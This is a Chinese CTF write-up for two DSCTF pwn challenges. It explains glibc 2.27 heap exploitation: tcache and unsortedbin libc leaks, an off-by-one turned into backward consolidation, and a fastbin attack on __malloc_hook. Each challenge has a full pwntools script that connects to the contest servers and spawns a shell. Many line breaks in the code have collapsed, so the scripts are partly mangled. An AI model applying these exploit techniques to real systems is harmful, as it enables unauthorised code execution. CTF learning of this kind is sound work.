DSCTF pwn 部分wp

DSCTF pwn 部分wp

原谅我懒,不想附图了,客官老爷们多包涵。

拿了第七:

32RK7_6C5A[)O6($F8NH1$C

出了两道pwn:

66J0WNBXM}1U_C7~XZV(MBR

fuzzerinstrospector

Case 6 有带rdi的任意指针调用,只要泄露libc即可。

rdi指向的内容可控。

add函数和edit函数功能相似。add函数malloc指定大小0x108。

前八个字节是自己写进的东西,后面字节是类似于一个字典的东西。通过字典才能打印。

可以先free掉七个堆块进入tcache填满,然后delete堆块进入unsortedbin。

不过申请unsortedbin的时候,他似乎会先检查符合tcache大小,然后放进tcache再分配,这时候会清空fd,就不能达到泄露的目的。

所以我通过合并操作先让他与旁边堆块合并再与top chunk合并,保留下来了fd指针。

然后利用scanf读入失败,就不会给前八字节赋值,把fd保留下来了,然后泄露libc基址。

最后调用system(‘/bin/sh’)即可。

exp:

from secrets import choice
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/DSCTF/fuzzerinstrospector')
r  =remote('39.105.185.193',30007)
libc = ELF('/mnt/hgfs/ubuntu/DSCTF/libc-2.27.so')def menu(choice):r.recvuntil(b"Your choice: ")r.sendline(str(choice))def add(index,content):menu(1)r.recvuntil(b"Index: ")r.sendline(str(index))for i in range(8):r.recvuntil(b'Index')r.sendline(b'+')r.recvuntil(b"Bitmap: ")r.send(content)def delete(index):menu(4)r.recvuntil(b"Index: ")r.sendline(str(index))def show(index):menu(3)r.recvuntil(b"Index: ")r.sendline(str(index))def edit(index,content):menu(2)r.recvuntil(b"Index: ")r.sendline(str(index))for i in range(8):r.recvuntil(b'Index')r.sendline(content[i])r.recvuntil(b"Bitmap: ")r.send(indexindex)indexindex = b''
for i in range(0x100):indexindex += i.to_bytes(1,'little')
add(0,b'a'*0x100)
add(1,b'a'*0x100)
add(2,b'a'*0x100)
add(3,b'a'*0x100)
add(4,b'a'*0x100)
add(5,b'a'*0x100)
add(6,b'a'*0x100)
add(7,b'a'*0x100)
add(8,b'a'*0x100)
[delete(i) for i in range(9)]
[add(j,indexindex) for j in range(7)]
add(7,indexindex)show(7)
fd = 0
for k in range(6):r.recvuntil(b'Bit: ')tmp = int(r.recvuntil(b'\n')[:-1],10)fd += tmp<<(k*8)libc_base = fd-0x3ebca0
system_addr = libc_base+libc.sym["system"]
delete(0)
menu(1)
r.sendlineafter(b'Index: ',b'0')
for i in range(8):r.sendlineafter(b'Index: ',str(b'/bin/sh\x00'[i]).encode())
r.sendafter(b'Bitmap: ',indexindex)
menu(6)
r.sendline(str(system_addr))
# gdb.attach(r)log.success("libc_base: "+hex(libc_base))
r.interactive()

rusty

  • 1.add功能:add 0-0x100大小的堆块。并且调用的是calloc。

  • 2.edit功能:可以有off by one。

  • 3.delete功能:删除上一个add的堆块,也就是说delete是从下往上free的。

  • 4.show功能:有utf-8编码。

有了off by one是可以构造chunk overlapping的,不过问题出在这道题调用的是calloc,会清空堆块内内容,并且free的不可控性让这道题难度增大。

思路一:glibc2.27版本下,我的最初想法是看到了程序自带的0x1800大小的堆管理结构,我想泄露堆基址后通过古老版本已知堆基址的unlink改变堆管理结构中的堆指针。这样就可以写入已知的栈地址,进行泄露libc和getshell。不过堆地址在我看来几乎是不可泄露的。原因1:要show的话就必须使当前堆块没有被free掉,当前堆块没有被free掉的话,能show出堆地址就只有一种可能性了:通过unsortedbin分割一个堆块,然后show这个堆块里的内容。不过可惜,这道题用的是calloc,会清空堆块内容,所以泄露堆基址这一思路我放弃了。

思路二:由于这道题的delete是从下往上free,所以off by one基本上没有什么用。因为off by one构造chunk overlapping基本都是往下构造的。我想到用off by one转换成off by null向上合并。在glibc2.27版本下是没有对size和prev_size的检测的。那么我们可以采用夹心饼攻击。通过两个unsortedbin中间夹tcache bin来泄露libc基址。同时由于calloc不分配tcache,所以我在中间也夹了fastbin。最终用fastbin attack getshell。

问题来了,我们off by null合并堆块得delete下方堆块触发合并,那么就得先在上方构造一个unsortedbin,再free掉下方堆块触发合并。

但是delete是由下往上的free,如何在不free掉下方堆块的情况下,使得上方堆块出现一个unsortedbin呢?

我这里采用的方法是先将0x80与0x100大小的tcache空闲列表填满,然后free掉两个0x100大小的堆块合并成一个0x200大小的unsortedbin,然后将其切割成0x90大小的unsortedbin。

这样上方就会有一个0x90大小的unsortedbin(带fd,bk)。

然后再在下方calloc(0xf8)堆块,free掉若干的0xf8大小的堆块后。然后通过off by one edit最顶上的0xf8大小的堆块,向第二个0xf8大小的堆块写入fake_prev_size和\x00字节,最后free掉第二个0xf8大小的堆块触发向上合并。

这时候再切割大unsortedbin到未被free掉的0x100大小的堆块,然后用show功能show出libc基址。

这里出题人show出的是utf-8编码后的字符。

我python3可以直接解码,但是python2会出一点问题,得分段获取。

然后就是fastbin attack。打malloc_hook填入ogg。

不过我本地早就通了远程通不了。

由于我的堆风水过于复杂,被迫换ubuntu18调试,换了ubuntu18之后libc小版本一致,这解决了第一个堆风水的问题,那就是原有程序free掉了一个0x100堆块,导致我多填充了一个。

解决掉这个问题之后我的远程还是通不了,最后尝试在malloc_hook附近爆破0x7f字节的地址成功了。

exp:

from pickle import TRUE
from pwn import *
from time import sleep
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/home/cru5h/bin/2022/11/rusty')
# r = remote('39.105.187.159',30008)
libc = ELF('/home/cru5h/bin/2022/11/libc-2.27.so')def menu(choice):r.recvuntil(b'Command:')r.sendline(str(choice))def add(size):menu(1)r.recvuntil(b'Size: ')r.sendline(str(size))def edit(index,size,content):menu(2)r.recvuntil(b'Idx: ')r.sendline(str(index))r.recvuntil(b'Len: ')r.sendline(str(size))r.recvuntil(b'Data: ')r.sendline(content)def delete():menu(3)def show(index):menu(4)r.recvuntil(b'Idx: ')r.sendline(str(index))def pwn(i):r.recvuntil(b'Let\'s build a rusty house!\n')stack_addr = int(r.recvuntil(b'\n')[:-1],16)[add(0x88) for i in range(8)] #0-7[add(0x100) for i in range(9)]#8-16[add(0x68) for k in range(8)]#17-24[delete() for j in range(17)]add(0x80)#8add(0x100)#9[add(0xf8) for k in range(9)]#10-18[delete() for l in range(7)]edit(10,0xf9,b'a'*0xf0+p64(0xc70)+b'\x00')#9-11 existsdelete()add(0x70)#11[add(0x100) for o in range(6)]#12-17add(0xf0)#18[add(0x60*2) for o in range(4)]#19-22add(0x40)#23show(10)r.recvuntil(b'Data: ')# something= r.recvuntil(b'\x7f')[-6:].decode('utf8')# print(something)r.recv(2)# res = r.recvuntil(b'\x7f')# print(res)# print(len(res))# libc_base = u64(res.ljust(8,'\x00')) - 0x3ebca0libc_base = u64(r.recvuntil(b'\x7f').decode('utf8').ljust(8,'\x00'))libc_base = (libc_base<<8)+0xa0-0x3ebca0print(hex(libc_base))one_gadget = libc_base+0x4f302malloc_hook = libc_base+libc.sym["__malloc_hook"]print(hex(malloc_hook))# edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8))edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8 - 0x48 +i))# gdb.attach(r)add(0x60)#24add(0x68)#25edit(25,0x20+0x48-i,b'g'*(0xb-8 +0x48-i)+p64(one_gadget))# pause()# log.success("libc_base: "+hex(libc_base))# gdb.attach(r)menu(1)r.interactive()for i in range(0x60):r = remote('39.105.187.159',30008)try:print(i)pwn(i)except EOFError:r.close()


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部